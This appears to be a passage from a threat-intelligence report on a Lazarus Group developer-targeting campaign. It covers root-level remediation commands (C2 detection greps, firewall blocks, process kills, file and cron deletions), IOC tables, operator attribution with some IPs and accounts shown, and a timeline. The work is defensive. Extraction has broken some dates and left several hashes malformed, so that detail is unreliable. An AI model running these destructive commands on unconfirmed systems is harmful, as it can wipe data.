# Audit existing PATs and revoke unnecessary ones:

# GitHub Settings > Developer settings > Personal access tokens

# Audit active PATs: Look for tokens with broad scope (repo, admin:org)

# Revoke any PATs created in the Lazarus campaign window (Nov 2025 - April 2026)

# For the affected GitHub organisation: immediately rotate all 7 compromised PATs



Containment:

Evidence preservation:

# Step 1: Check for active C2 connections

ss -antp | grep -E '195.201.104.53|rest-icon-provider|146.70.253.107|144.172.108.236'

netstat -antp 2>/dev/null | grep -E 'ESTABLISHED' | grep -v 'localhost'

# Step 2: Check for malicious npm packages

find . -name "package.json" -exec grep -l "postinstall\|preinstall" {} \;

find ./node_modules -name "*.js" -newer $(date +%Y-%m-%d -d '6 months ago') | head -50

# Step 3: Identify exfiltrated data

# Check FTP history

cat ~/.bash_history | grep -E 'ftp|195.201.104.53|10team'

# Check filesystem for staging archives

find / -name "*.n1" -o -name "*.n2" -o -name "*.n3" 2>/dev/null

# Step 4: Check for AnyDesk persistence

ps aux | grep anydesk

ls -la ~/.config/autostart/ | grep anydesk

systemctl list-units | grep anydesk

# Block C2 communication at firewall

iptables -A OUTPUT -d 195.201.104.53 -j DROP

iptables -A OUTPUT -d 146.70.253.107 -j DROP

iptables -A OUTPUT -d 144.172.108.236 -j DROP

iptables -A OUTPUT -d 34.70.205.211 -j DROP

# Remove malicious npm packages (identify first)

npm list --depth=0 | grep suspicious_package

npm uninstall suspicious_package

# Kill AnyDesk if present

pkill anydesk

systemctl stop anydesk

# Remove InvisibleFerret persistence

rm -f ~/.config/[suspicious-random-name]/.npl

crontab -l | grep -v ".npl\|.n2\|python" | crontab -



38.2 Cryptominer Kworker Remediation

For systems infected by the kworker dropper, remediation requires root-level intervention:

# Capture volatile state before remediation

# Memory dump (if possible)

# Save connection state

ss -antp > /tmp/network_connections_$(date +%Y%m%d_%H%M%S).txt

netstat -antp >> /tmp/network_connections_$(date +%Y%m%d_%H%M%S).txt

# Save process list

ps aux > /tmp/processes_$(date +%Y%m%d_%H%M%S).txt

# Save filesystem timestamps for forensics

find ~ -newer ~/.bash_history -type f 2>/dev/null | \

xargs ls -la > /tmp/recently_modified_files.txt

# Hash all files in suspicious directories

find ~/. -name "*.py" -o -name "*.js" -o -name "*.sh" | \

xargs md5sum > /tmp/script_hashes.txt



# Step 1: Identify infection

# Check for SSH backdoor key

grep "uc1$" /root/.ssh/authorized_keys && echo "INFECTED: SSH backdoor found"

# Check for modified process utilities

[ -f /bin/ps.original ] && echo "INFECTED: ps binary modified"

[ -f /bin/top.original ] && echo "INFECTED: top binary modified"

ls -la /usr/bin/cd1 /usr/bin/wd1 2>/dev/null && echo "INFECTED: curl/wget renamed"

# Check for malware files

ls -la /etc/javae /etc/kworker /tmp/javae /tmp/kworker 2>/dev/null

# Note: /bin/ps may hide javae! Use /bin/ps.original if available:

/bin/ps.original aux | grep javae

# Check for immutable cron files

lsattr /var/spool/cron/root 2>/dev/null | grep 'i'

lsattr /etc/cron.d/javae 2>/dev/null | grep 'i'

# Step 2: Remove immutability

chattr -ia /root/.ssh/authorized_keys

chattr -ia /etc/javae /etc/kworker 2>/dev/null

chattr -ia /tmp/javae /tmp/kworker 2>/dev/null

chattr -R -ia /var/spool/cron /etc/cron.d /etc/crontab

# Step 3: Kill processes (using original ps if compromised)

/bin/ps.original aux | grep javae | awk '{print $2}' | xargs kill -9 2>/dev/null
/bin/ps.original aux | grep kworker | grep -v kernel | awk '{print $2}' | xargs kill -9 2>/dev/

null

# Step 4: Remove malware files

rm -f /etc/javae /etc/kworker /tmp/javae /tmp/kworker

rm -f /etc/cron.d/javae

rm -f /usr/bin/cd1 /usr/bin/wd1

# Step 5: Remove SSH backdoor

sed -i '/uc1$/d' /root/.ssh/authorized_keys

# Step 6: Restore system binaries

[ -f /bin/ps.original ] && mv /bin/ps.original /bin/ps

[ -f /bin/top.original ] && mv /bin/top.original /bin/top

[ -f /bin/pstree.original ] && mv /bin/pstree.original /bin/pstree

# Step 7: Clean cron jobs

crontab -l | grep -v 'kworker\|javae\|34.70.205.211' | crontab -

# Remove from system crontab

grep -v 'kworker\|javae' /etc/crontab > /tmp/crontab_clean

mv /tmp/crontab_clean /etc/crontab

# Step 8: Re-enable security

setenforce 1 2>/dev/null

systemctl enable --now apparmor 2>/dev/null

ufw enable 2>/dev/null

# Step 9: Verify remediation



38.3 Fake Exchange Victim Response

For individuals who have deposited funds to Lazarus-operated fake exchanges:

Immediate actions:

Do not deposit additional funds. Any promised "tax payment" or "fee" to unlock withdrawals is a

secondary fraud.

Document all communications. Screenshots of the exchange interface, chat logs, emails, and

transaction records constitute legal evidence.

File reports: IC3.gov (US), Action Fraud (UK), or relevant national cybercrime authority.

Contact your cryptocurrency exchange (if you purchased crypto there before depositing to the

fake exchange) for a Suspicious Activity Report.

Blockchain evidence: The wallet address to which you deposited funds should be documented.

Investigators can use this address to:

Verify the funds reached Lazarus-controlled wallets (via chain tracing)

Correlate your deposit with the overall investigation for investigating authorities purposes

Add your loss to the aggregate financial impact documentation for OFAC and prosecution purposes

Recovery outlook: Cryptocurrency theft recovery rates are historically low (typically under 5% of

value). However:

OFAC designation of identified Lazarus addresses can prevent the funds from being liquidated

through compliant exchanges

International investigating authorities cooperation (via official channels/Interpol NCCC) has achieved

asset freezes in prior Lazarus cases

If funds are moved through exchanges subject to US jurisdiction, court orders can compel freezes

38.4 Wallet Owner Notification (157 Safe Owners)

For the 157 wallet owners found in the Lazarus C2 database who were NOT compromised (UID format

mismatch indicating prior operational period):

Notification template:

grep "uc1" /root/.ssh/authorized_keys && echo "WARNING: backdoor key still present"

ls /etc/javae 2>/dev/null && echo "WARNING: miner binary still present"

lsattr /var/spool/cron/root | grep 'i' && echo "WARNING: cron still immutable"

1. 

2. 

3. 

4. 

• 

• 

• 

• 

• 

• 



Subject: Security Advisory — Cryptocurrency Wallet Data In Criminal Database

We are writing to notify you that your cryptocurrency wallet address [ADDRESS]

was found in a database operated by Lazarus Group, a DPRK state-sponsored

threat actor designated by OFAC. 

IMPORTANT: Our analysis indicates your wallet was NOT accessed or drained.

The database entry appears to date from a prior testing period (approximately

Wave 75-78) and shows no evidence of malicious use.

However, we recommend:

1. Transferring your funds to a new wallet with a freshly-generated seed phrase

2. Reviewing any applications through which your wallet address may have been

   shared with third parties

3. Monitoring your wallet address using blockchain explorer notifications

If you have not done so already, enable hardware wallet protection for

holdings above USD 1,000 equivalent.

This notification is provided by [Investigation Contact] in coordination with

threat intelligence researchers for victim protection purposes.



Part IX — Conclusions

Chapter 39: Summary of Principal Findings

39.1 What Was Found

This investigation documented the most comprehensive collection of operational intelligence on Lazarus

Group's Contagious Interview cryptocurrency theft campaign compiled in a single investigation. Ten

principal findings are summarised below:

Finding 1 — Campaign Duration and Scale Substantially Exceed Public Knowledge

The Contagious Interview campaign operated continuously from May 2025 through at least April 2026

—a minimum eleven-month active window. The victim population of 14,716+ compromised machines

across 74 countries and 246,457+ stolen credential files exceeds by an order of magnitude what any

prior published research had documented. Six new victims were confirmed per day as late as March 7,

2026—the campaign was not winding down.

Finding 2 — Three Concurrent Revenue Streams

Lazarus operated three distinct but infrastructure-sharing revenue tracks simultaneously: (a) developer

credential theft via BeaverTail/InvisibleFerret, generating at least $204M in traced cryptocurrency theft;

(b) fake exchange and casino fraud via thirteen platforms including AlphaSportsTech (~$140,000+ in

investor deposits); and (c) a self-propagating Linux cryptominer botnet estimated at 36,000–72,000

globally-infected systems generating $40,000–$540,000/month in Monero. The co-location of these

tracks on shared infrastructure is established by the Redis password forensic link ( [REDIS-PASSWORD-

REDACTED] ).

Finding 3 — Named Operator Attribution

For the first time in published research on this campaign, specific named individuals have been

identified with high confidence:

Operator A (labels: "Ibrahim", account: alpharivexmicro, email: [OPERATOR-EMAIL-REDACTED])

— last active April 17, 2026

Operator B (label: "Raja", account: forexhesper)

[DEVELOPER-EMAIL-REDACTED] — malware developer; UTC+7 timezone

Three Telegram-identified supervisors (@[OPERATOR-SUPERVISOR], @[OPERATOR-MID],

@[OPERATOR-SUBORDINATE])

All active from India-located infrastructure (Airtel AS24560, BSNL AS9829).

Finding 4 — CENTIC.io Blockchain Intelligence Platform Compromise

Lazarus obtained authenticated access to 1.4 TB of blockchain intelligence at CENTIC.io (CVSS 9.1

CRITICAL), giving them surveillance capability over 8,395 cryptocurrency tokens, 4.7 million smart

contracts, and DeFi positions across seven blockchain networks. This provides a counter-intelligence

advantage—Lazarus can monitor blockchain forensic investigations targeting their prior operations.

• 

• 

• 

• 



Finding 5 — Supply Chain Reach Extends to CI/CD Infrastructure

Beyond individual developer workstations, Lazarus's supply chain compromise reached Render.com

CI/CD build containers, meaning the infection propagated into production deployment pipelines. npm

packages targeting VS Code auto-execution ( .vscode/tasks.json  with runOn: folderOpen ) provided

zero-click exploitation after repository cloning.

Finding 6 — 197-Package npm Wave

Between October and November 2025, the stardev0914 GitHub account published 197+ malicious

npm packages accumulating 31,000+ downloads. This represents the largest single npm supply-chain

poisoning wave attributed to a nation-state actor, significantly exceeding previously-documented npm

attack campaigns.

Finding 7 — Campaign Survived Primary C2 Takedown

When the primary C2 infrastructure (146.70.253.107, entire 146.70.41.128/25 subnet) was taken offline

on March 3, 2026, the campaign continued via the FTP exfiltration channel (195.201.104.53) and

OtterCookie sinks. The redundant exfiltration architecture demonstrates operational planning that

anticipated C2 disruption and maintained victim access through independent channels.

Finding 8 — AlphaSportsTech ~$140,000 Fraud Operation

The fake AlphaSportsTech cryptocurrency exchange operated by Lazarus on the Jenkins development

server accumulated ~$140,000+ in investor deposits from 234 real victims. This retail investor fraud

operation has received no previous public attribution to Lazarus Group.

Finding 9 — 157 Wallet Owners Confirmed Undrained

Analysis of the C2 admin panel database identified 157 wallet owners with 733 wallets and 11,558.73

tokens whose legacy UID format distinguishes them from confirmed compromised victims. These wallet

owners appear to be in the Lazarus database from a prior testing period; their funds show no evidence

of theft. Notification of these wallet owners provides a rare proactive victim protection opportunity.

Finding 10 — Operator Response Time of 19 Days

From first detection indicator (Shodan visibility, February 12, 2026) to complete infrastructure shutdown

(March 3, 2026), Lazarus demonstrated a 19-day detection-to-shutdown response time—faster than

typical commercial threat-actor responses, consistent with a professional intelligence operation with

dedicated OPSEC monitoring personnel.

Chapter 40: DPRK Strategic Context

40.1 Revenue Significance

The total revenue attributable to the campaign activities documented in this investigation is estimated as

follows:

Revenue Stream Documented Amount Confidence

Cryptocurrency theft (developer campaign) $204M+ (traced) HIGH

Casino/fake exchange fraud (AlphaSportsTech) ~$140,000+ deposits MEDIUM (not all deposits = retained funds)

Cryptominer botnet revenue $0.5M–$6.5M/year MODERATE



Even using only the most conservatively documentable figure ($204M in traced theft), this campaign

represents approximately 5% of DPRK's estimated GDP of roughly $4 billion. The UN Panel of Experts

estimated total DPRK cryptocurrency theft at $3.8 billion in 2022; if the 2025–2026 pace of this single

campaign is representative of the broader operation, DPRK's cryptocurrency theft programme continues

at a scale that materially funds its WMD programme.

The US Treasury Department's June 2023 advisory stated that DPRK uses cryptocurrency theft

proceeds to fund "approximately 50% of [North Korea's] weapons program expenditures." The

Contagious Interview operation is one operational pillar of this broader financial architecture.

40.2 The India Nexus and DPRK IT Worker Programme

The attribution of Operator A to India-based infrastructure reflects a documented DPRK strategy of

using third-country IT workers as a revenue generation and operational insulation mechanism. The May

2022 joint advisory from the US Department of State, Treasury, and investigating authorities specifically

named India as a country where DPRK IT workers have established operational fronts.

DPRK IT workers operating from India:

Establish local business registrations under false identities

Rent office space and acquire local ISP connections to avoid VPN fingerprints

Perform both legitimate contract work (generating foreign currency) and covert operations

(executing malware campaigns and managing criminal infrastructure)

Remit earnings to DPRK via hawala networks and cryptocurrency

The tokenloopz.com domain infrastructure, the Airtel/BSNL login patterns, and the professional daily

work schedule all fit this model precisely. The implication is that Operator A operated under DPRK

direction while physically present in India — creating jurisdiction and extradition complications that

DPRK exploits deliberately.

40.3 Threat Evolution Trajectory

Comparing the 2024 baseline (Unit 42 report) to the 2026 capabilities documented here reveals

significant capability growth in two years:

Capability 2024 Baseline 2026 (This Investigation)

C2 infrastructure 2 known IPs 53,941 unique IPs mapped

npm supply chain Some packages 197+ packages, 31,000+ downloads

Victim count Up to 519 (Group-IB) 14,716+ confirmed

Financial tracing Not quantified $204M+ + ~$140,000 fraud

Operator identity Unknown Named individuals with login history

Parallel revenue streams 1 (theft) 3 (theft, fraud, mining)

Blockchain intelligence No confirmed access 1.4 TB CENTIC compromise

This trajectory suggests that Lazarus Group's cryptocurrency operations will continue to grow in scale,

sophistication, and diversification. The addition of the cryptominer botnet as a self-funding mechanism

reduces the operation's dependency on any single large-theft event; the fake exchange fraud provides a

parallel high-volume stream; and the blockchain intelligence platform compromise gives operators an

intelligence advantage that enables more precisely-targeted future attacks.

• 

• 

• 

• 



Chapter 41: Open Questions and Future Investigation Directions

41.1 Unresolved Intelligence Gaps

Gap 1 — June-July 2025 Victim Population: The XORIndex/HexEval npm packages (9,000+

downloads, June-July 2025) pre-date the investigation's primary evidence window. The victim

population from this early wave is not captured in the Wave 80 database dump; they may have been

processed in a separate database instance or prior wave archive.

Gap 2 — October-November 2025 197-Package Wave: The 31,000+ downloads from the

stardev0914 package wave (October-November 2025) similarly pre-date the primary evidence window.

The victim count from this wave—potentially the largest single wave of the campaign—is unknown.

Gap 3 — Staging Archive Decryption: The .n1 , .n2 , .n3  staging archives found in victim directories

on the FTP server are encrypted with a key not recovered from the evidence corpus. These archives

may contain significant additional wallet and credential material. Key derivation from victim-specific data

(hostname, username, infection timestamp) was attempted and failed; the key is likely generated on the

operator side and never stored on the victim's machine.

Gap 4 — stardev0914 Operator Identity: The GitHub account responsible for 197+ malicious npm

packages was removed before operator-attributing metadata (email, Git commit history, login patterns)

could be collected. This operator represents a significant unattributed actor within the Lazarus

organisation.

Gap 5 — Full Team Structure: Nine operator teams (15, 23, 77, 91, 92, 99, 105, 1021, 5346) have

been identified by FTP directory prefix and C2 database analysis. Only Teams 99 and 5346 have

geographic profiles (victim country distributions). The geographic targeting logic, team leadership, and

operational scope of the remaining seven teams is unknown.

Gap 6 — Post-April 2026 Infrastructure: This investigation's active evidence collection concluded in

late April 2026. Lazarus Group's infrastructure rotation patterns suggest the next-generation C2

(successor to rest-icon-handler.store) is likely already operational. The current infrastructure state is

unknown at time of publication.

41.2 Recommended Further Research

Priority 1 — Vercel access log analysis: Vercel's CDN logs for rest-icon-provider.link  (July 2025

– March 2026) would reveal the complete history of victim callbacks to the primary C2. This data exists;

it requires a legal process request to Vercel (based in San Francisco, CA; subject to US federal court

jurisdiction). The logs would provide exact victim counts, IP addresses, and infection timestamps for the

full campaign duration—potentially adding months of victim data not captured in the FTP server

snapshot.

Priority 2 — GitHub account attribution (bitcoin2026a, [DEVELOPER-EMAIL-REDACTED]): A

formal legal process request to GitHub (Microsoft, San Francisco) for account registration metadata for 

bitcoin2026a  would yield the IP address, account creation timestamp, and possibly linked accounts

used to create this identity. Cross-referencing against known DPRK IP ranges (Ryugyong-dong range:

175.45.176.0/22, Star-JV range: 210.52.109.0/24) might establish a Pyongyang-link if the account was

created from DPRK infrastructure.



Priority 3 — MongoDB Atlas cluster forensics: The 14 active MongoDB Atlas clusters hold victim

data from the fake exchange operations. MongoDB Inc. (NASDAQ: MDB) is a US company subject to

federal court orders. Atlas access logs would reveal when Lazarus operators queried victim databases

and potentially identify Lazarus IP addresses used to access victim data post-exfiltration.

Priority 4 — Shodan expansion for botnet mapping: The SSH key search that identified 104 botnet

victims used the uc1  key comment as the primary search term. Searching for the key's full base64-

encoded public key fragment across all internet-accessible SSH servers (Shodan full-scan mode or

FOFA) would provide a more complete victim inventory and enable victim notification at scale.

Priority 5 — AlphaSportsTech victim outreach: The 239 AlphaSportsTech victims in the platform's

internal database require notification. Many have deposited funds and believe they are waiting for

withdrawal approval—they may not yet know the platform is fraudulent. Coordinated outreach through

cryptocurrency community channels and direct victim notification (email addresses available in

MongoDB) could prevent continued psychological harm and secondary fraud (additional fee demands

from operators to "unlock" funds).



Appendices

Appendix A — Complete IOC Inventory

A.1 Network Infrastructure IOCs

C2 Servers (Contagious Interview Campaign)

IP Address Port(s) Provider Role Status (Apr 2026)

146.70.253.107 1224, 1244, 1245, 5000,

5918

M247 AS9009 Primary C2 panel OFFLINE (Mar 3, 2026)

195.201.104.53 21, 80, 3000, 6109, 6939 Hetzner AS24940 FTP exfil + OtterCookie ACTIVE (Mar 13, 2026)

146.70.41.152 22 M247 AS9009 Jumpbox/relay OFFLINE (Mar 3, 2026)

144.172.108.23

6

Various Cloudzy AS51395 Socket.IO relay Unknown

65.21.233.44 4041 Hetzner AS24940 Financial panel Unknown

194.180.207.18 Various DataPacket

AS200019

Secondary C2 Unknown

94.136.184.44 8080, 22 Contabo AS51167 Jenkins dev/ops server ACTIVE (Apr 17, 2026)

95.164.17.6 9987 Unknown TeamSpeak operator comms ACTIVE (Mar 2026)

5.189.187.9 3000 Contabo Active C2 connection from

Jenkins

Active connection

observed

86.104.251.158 443 M247 Romania HTTPS C2 from Jenkins Active connection

observed

C2 Domains

Domain Registrar Purpose Status

rest-icon-provider.net Tucows / Vercel Test C2 HTTP 404 (deployment removed)

rest-icon-provider.link Tucows / Vercel Production C2 HTTP 451 (legal takedown, Mar 23,

2026)

rest-icon-handler.store Hostinger / DNS-

parking

Backup C2 Partial (decoy OK, C2 broken)

tokenloopz.com Unknown Operator primary domain; Jenkins;

email

observed active Apr 2026

nexvyon.com Unknown Operator secondary domain; email observed active Apr 2026

alphasportstech.com Unknown Fake exchange observed active Apr 2026

jenkins.tokenloopz.co

m

— Jenkins management interface observed active Apr 2026

mail.tokenloopz.com — Phishing email server observed active Apr 2026

Cryptominer Botnet Infrastructure

IP Address Port Provider Role

103.174.189.183 6379 Unknown Redis C2 (unauthenticated)

34.70.205.211 80 Google Cloud (GCP) Primary payload distribution

38.150.0.118 80 Cogent / Hong Kong Backup distribution (offline)



IP Address Port Provider Role

38.150.0.136 22 Unknown Lateral movement target

Mining Pool

A.2 File Hashes

Hash Type Description

fea52ab0cc2717301b0e197bbfec894f MD5 kworker dropper script (36KB, 636 lines)

3a5ae2dbf4ddb2b2d3850342b887431e MD5 javae XMRig miner binary (5.5MB ELF64)

5eb5d1bc4b90d6dfae8a36f6a4563d2e618fa887 Build ID javae ELF build identifier

e08e2461eab3e6edbc6191b1a09664d71e413047 Git SHA coin-promoting malware commit (Dec 29, 2025)

d705e221029e46cb8c4b3972e07fef298d4b193a Git SHA Smart contract lure refactor (Dec 24, 2025)

BeaverTail hashes (Unit 42 / October 2024 — prior research):

Hash Type Variant

000b4a77b1905cabdb58d2b576f6da1b2ef55a0258004a4a9e290e9f41fb6923 SHA256 BeaverTail macOS DMG

9abf6093eafb797a3558bea1fe6a3b731fd286405a9a36871ce84bc1eof4a28c SHA256 BeaverTail macOS DMG

0f60da3ac843df67518f8262c1c24180ea22f76467f8286f71e8f0aadb7132 SHA256 BeaverTail macOS Mach-O

d801ad1beaeb3500cc5434da51326d7648a3c54923d794b2411b7b6a2960f31e SHA256 BeaverTail macOS Mach-O

36eac29ff5c503c2123514ea903836d5ad81067508a8e16f7947e3e675a08670 SHA256 BeaverTail Windows MSI

d6f9fe9e2ce68a604fe22da8d421419f1cfc0b4e00d48fcc69d89682fff170 SHA256 BeaverTail Windows MSI

fd9e8fc5bda88870b12b47cbb1cc8775ccff285f980c4a2b683463b26e36bf0 SHA256 BeaverTail Windows MSI

0621d37818c35e25574d8a729e50ae62ba518df8ca81a44cc3add5d8deb3cd SHA256 BeaverTail Windows EXE

9e3a9dbf10793a273610cccef4d2c87dbd13fb2dd464470e5242074df4dd96cb4 SHA256 BeaverTail Windows EXE

A.3 Credentials and Authentication IOCs

WARNING: These credentials are provided for defensive purposes only — to enable detection of

credential reuse and forensic correlation. Do not use for unauthorised access.

Credential Type Context

Operator credential (withheld) C2 panel auth Primary C2 panel (146.70.253.107:1224) — offline as of Mar

2026

10team / [REDACTED] FTP auth FTP exfiltration server (195.201.104.53:21)

admin / [REDACTED] Jenkins web auth Jenkins server (94.136.184.44:8080)

[REDIS-PASSWORD-REDACTED] Redis password Appears in Jenkins .env AND victim machine .env files

JWT signing secret: weak/common value

observed

JWT HMAC key C2 panel JWT signing; exact value withheld

[FINANCIAL-PANEL-CREDS REDACTED] Financial panel Port 5000 financial panel credentials

[REDACTED] SSH key

passphrase

Operator SSH private key (4096-bit RSA)

pool.supportxmr.com:8080    (Monero mining, legitimate pool, operator wallet unknown)

randomx.xmrig.com:3333      (XMRig test pool)



A.4 Blockchain Addresses (OFAC Candidates)

NOTE: Three addresses are publicly disclosed; four remain under investigating authorities

review.

Address Network Documented Theft Submission Status

0x4DE23f3f0Fb3318287378AdbdE030cf61714b2f3 Ethereum $6,860,000 submitted for sanctions review

0x1633866bc378663Db61A8e65bF1434020e21f1f3 Ethereum $6,380,000 submitted for sanctions review

0x674C73C68Cc2FC31ee2bda9A60B4E6C020CDD19F Ethereum $1,600,000 submitted for sanctions review

[Address 4] Ethereum Undisclosed Under LE review

[Address 5] BNB Chain Undisclosed Under LE review

[Address 6] Ethereum Undisclosed Under LE review

[Address 7] Ethereum Undisclosed Under LE review

A.5 Operator Identity IOCs

Identifier Type Confidence Notes

[OPERATOR-EMAIL-REDACTED] Email HIGH Primary operator; Git commit identity

[OPERATOR-HANDLE-REDACTED] Username HIGH Git identity; server account

alpharivexmicro Unix account HIGH Jenkins server UID 1001

[OPERATOR-B-HANDLE] Username MODERATE Secondary operator; Git identity

forexhesper Unix account MODERATE Jenkins server UID 1003

[OPERATOR-EMAIL-REDACTED] Email MODERATE Operator email; Telegram-linked

[OPERATOR-EMAIL-REDACTED] Email MODERATE Operator email; demon-macvps

[DEVELOPER-EMAIL-REDACTED] Email MODERATE Malware developer; UTC+7 timezone

@[OPERATOR-SUPERVISOR] Telegram MODERATE "Gru" — assessed supervisor

@[OPERATOR-MID] Telegram MODERATE "Kevin" — mid-level operator

@[OPERATOR-SUBORDINATE] Telegram MODERATE "Luke" — operator

106.51.22.137 IP HIGH Operator A's Airtel India login (Apr 2026)

49.37.200.169-203.171 IP range HIGH Operator A's BSNL India logins

tokenloopz.com Domain HIGH Operator-owned domain (A→ 94.136.184.44)

A.6 SSH Key IOCs

A.7 Malicious npm Packages

October-November 2025 wave (197+ packages, stardev0914 GitHub account):

# Lazarus cryptominer botnet SSH backdoor key

# Present in /root/.ssh/authorized_keys on all 104+ infected systems

ssh-rsa AAAAB3NzaC1yc2E[...KEY-MATERIAL-REDACTED...]... uc1

# Detection: grep for the key comment "uc1" in authorized_keys

# Or search for the first 40 chars of the key:

# AAAAB3NzaC1yc2EAAAADAQABAAABgQC3QgqCevA1UIX9jkWJN

# Operator SSH key (passphrase: [REDACTED])

# 4096-bit RSA — rotated from all servers after breach detection

# Search for passphrase string for forensic correlation



Core confirmed malicious packages:

June-July 2025 wave:

Distribution GitHub accounts:

Appendix B — Campaign Timeline

B.1 Complete Chronology

Date Event Source

2023-11 Contagious Interview campaign first documented (ESET) ESET public report

2023-12 Telegram C2 variant documented (Cisco Talos) Cisco Talos report

2024-07 Qt-based BeaverTail variant compiled Unit 42 report

2024-09 "Crypto Beavers" documented, 519 victims (Group-IB) Group-IB report

2024-10 CL-STA-0240 published (Unit 42); C2 IPs: 95.164.17.24, 185.235.241.208 Unit 42 report

2024-12 BeaverTail infection chain update (Kaspersky) Kaspersky report

2025-05-2

9

Test C2 domain registered: rest-icon-provider.net (Tucows/Vercel) WHOIS

2025-06 XORIndex/HexEval loader npm campaign (9,000+ downloads) npm registry data

2025-07-0

8

Production C2 live: rest-icon-provider.link (Tucows/Vercel) WHOIS

2025-08-2

9

First lure domain registered WHOIS

2025-10-1

1

197+ malicious npm packages published (stardev0914) GitHub/npm data

2025-11-1

7

Additional lure infrastructure registered WHOIS

2025-12-1

9

First victim uploads to C2 database C2 dump

timestamps

2025-12-2

4

coin-promoting smart contract lure development (Git commit d705e22) Git metadata

coin-promoting malware finalised ([DEVELOPER-EMAIL-REDACTED], UTC+7) Git commit e08e246

tailwind-magic

node-tailwind

react-modal-select

isbutfervalidator

yoojae-validator

event-handle-package

array-empty-validator

react-event-dependency

auth-validator

XORIndex      (9,000+ downloads)

stardev0914   — 197+ packages (REMOVED)

bitcoin2026a  — coin-promoting repository (active as of Mar 25, 2026)



Date Event Source

2025-12-2

9

2026-01-0

6

FTP exfiltration server deployed (195.201.104.53, Hetzner, TLS cert issued) nmap scan

2026-01-1

6

bitcoin2026a GitHub account created; coin-promoting published GitHub

2026-02-0

5

First coin-promoting victim confirmed FTP dir / C2 dump

2026-02-0

6

Backup C2 registered: rest-icon-handler.store (Hostinger) WHOIS

2026-02-0

8

First Linux victim confirmed FTP dir

2026-02-1

2

Primary C2 (146.70.253.107) appears in Shodan — operator detection Shodan

2026-02-1

3

C2 login endpoint removed — operator defensive action after Shodan indexing Investigation W79

2026-02-1

4

Wave 80 breakthrough: 120MB [victim-export-endpoint] dump, 246,457 creds, 14,716+ victim

records

Investigation W80

2026-02-1

5

Operator-side infrastructure access confirmed via evidence in corpus Investigation W81

2026-02-1

9

Last confirmed coin-promoting victim (23_[VICTIM-HOSTNAME]) FTP dir

2026-03-0

3

Primary C2 shutdown — entire 146.70.41.128/25 subnet offline Investigation W131

2026-03-0

7

Campaign still active: 7 new FTP victims in single day Investigation W135

2026-03-0

8

OtterCookie exfiltration protocol reverse-engineered Investigation W135

2026-03-1

3

FTP server confirmed active (nmap rescan) Investigation W146

2026-03-2

3

Vercel legal takedown of rest-icon-provider.link (HTTP 451) Investigation W141

2026-04-0

7

Operator A (alpharivexmicro) active on Jenkins from BSNL India Jenkins auth log

2026-04-1

1

W155 wallet hunt phase begins Investigation W155

2026-04-1

3

CENTIC.io MongoDB breach confirmed (CVSS 9.1) Investigation W136

2026-04-1

5

Digital-asset infrastructure company notified of HSM/deployment credential breach Investigation ops

2026-04-1

6

Operator A active on Jenkins from Airtel India (106.51.22.137, 5h 20min) Jenkins auth log

2026-04-1

7

Operator A active (3h 56min) — day of Jenkins server forensic analysis Jenkins auth log

2026-04-2

2

Campaign history reconstruction (source verification complete) This investigation



Appendix C — Operator Profile Compendium

C.1 Operator A — Observed Labels and Infrastructure

C.2 Operator B — Observed Labels and Infrastructure

A second operator-side label, "Raja," appeared in a separate fake-exchange and forex workflow. We

treat it as an infrastructure label, not a confirmed legal identity.

C.3 jmjles — Malware Developer

C.4 Telegram Operator Network

Primary Identifier: [OPERATOR-HANDLE-REDACTED]

Email:              [OPERATOR-EMAIL-REDACTED]

Domain Control:     tokenloopz.com (A → 94.136.184.44)

GitHub Org:         github.com/Alpharive-Tech

Unix Account:       alpharivexmicro (UID 1001) on 94.136.184.44

Last Active:        2026-04-17 09:19 UTC (3h 56min session)

Login IPs:

  BSNL India (AS9829):   49.37.200.169, 49.37.200.178, 49.37.201.195, 49.37.203.171

  Airtel India (AS24560): 106.51.22.137

Work Schedule:      Monday-Friday, 06:35-13:00 UTC start, 6-9 hours duration

Projects:           AlphaRiveX exchange microservices (6 repos), opris_exchange_dev

Git Credentials:    [REDACTED] (Jenkins admin) — recovered from victim browser

Username:     [OPERATOR-B-HANDLE]

Email:        [OPERATOR-B-HANDLE] (no external email domain in Git config)

Unix Account: forexhesper (UID 1003) on 94.136.184.44

Last Active:  March 25, 2026

Projects:     HesperWealth (client_hesperwealth_backend)

              Forex platforms: forex_bnb_backend, forex_eth_backend, forex_trx_backend

Bash History: git pull, git status, git add ., git commit -m 'check', git push

              pm2 restart [n] && pm2 logs [n]

Email:     [DEVELOPER-EMAIL-REDACTED]

Timezone:  UTC+7 (Thailand, Vietnam, Cambodia, or western Indonesia)

Git Alias: (email only, no username in public records)

Activity:  Committed malware finalisation to coin-promoting repository

           2025-12-29 12:00:00 +0700

           Commit: e08e2461eab3e6edbc6191b1a09664d71e413047

           Message: "Merge into main"

18-day Gap: Malware completed Dec 29; GitHub publication Jan 16 — suggests

           separate operator published repository

@[OPERATOR-SUPERVISOR] — "Gru"   — Assessed supervisor tier

@[OPERATOR-MID]       — "Kevin"  — Mid-level operator

@[OPERATOR-SUBORDINATE]       — "Luke"   — Operator / subordinate



Appendix D — Infrastructure Network Diagram



LAZARUS GROUP CONTAGIOUS INTERVIEW / BeaverTail OPERATION

Complete Infrastructure Map — April 2026

═══════════════════════════════════════════════════════════════════════

VICTIM LAYER

═══════════════════════════════════════════════════════════════════════

[Developer Victim Workstations]    [Retail Investor Victims]

  74 countries, 14,716+ machines       239 AlphaSportsTech victims

  BeaverTail → InvisibleFerret        ~$140,000+ in deposits

         │                                    │

         │ FTP                                │ HTTPS

         ▼                                    ▼

═══════════════════════════════════════════════════════════════════════

EXFILTRATION LAYER

═══════════════════════════════════════════════════════════════════════

                                           ┌─────────────────────┐

                                           │ 195.201.104.53      │

                                           │ (Hetzner, Germany)  │

                                           │ Port 21:  FTP       │

                                           │ Port 80:  HTTP      │

                                           │ Port 3000:React App │

                                           │ Port 6109:OtterCook │

                                           │ Port 6939:OtterCook │

                                           └────────┬────────────┘

                                                    │

                                           14 MongoDB Atlas Clusters

                                           (159.41.0.0/16)

═══════════════════════════════════════════════════════════════════════

C2 / CONTROL LAYER

═══════════════════════════════════════════════════════════════════════

┌─────────────────┐   ┌─────────────────┐   ┌─────────────────┐

│ 146.70.253.107  │   │ Vercel CDN      │   │ 144.172.108.236 │

│ (M247, offline) │   │ rest-icon-      │   │ (Cloudzy)       │

│ Ports: 1224,    │   │ provider.link   │   │ Socket.IO relay │

│ 1244, 1245,     │   │ (HTTP 451)      │   │                 │

│ 5000, 5918      │   │                 │   │                 │

└────────┬────────┘   └────────┬────────┘   └────────┬────────┘

         │                     │                      │

         └──────────┬──────────┘                      │

                    │                                 │

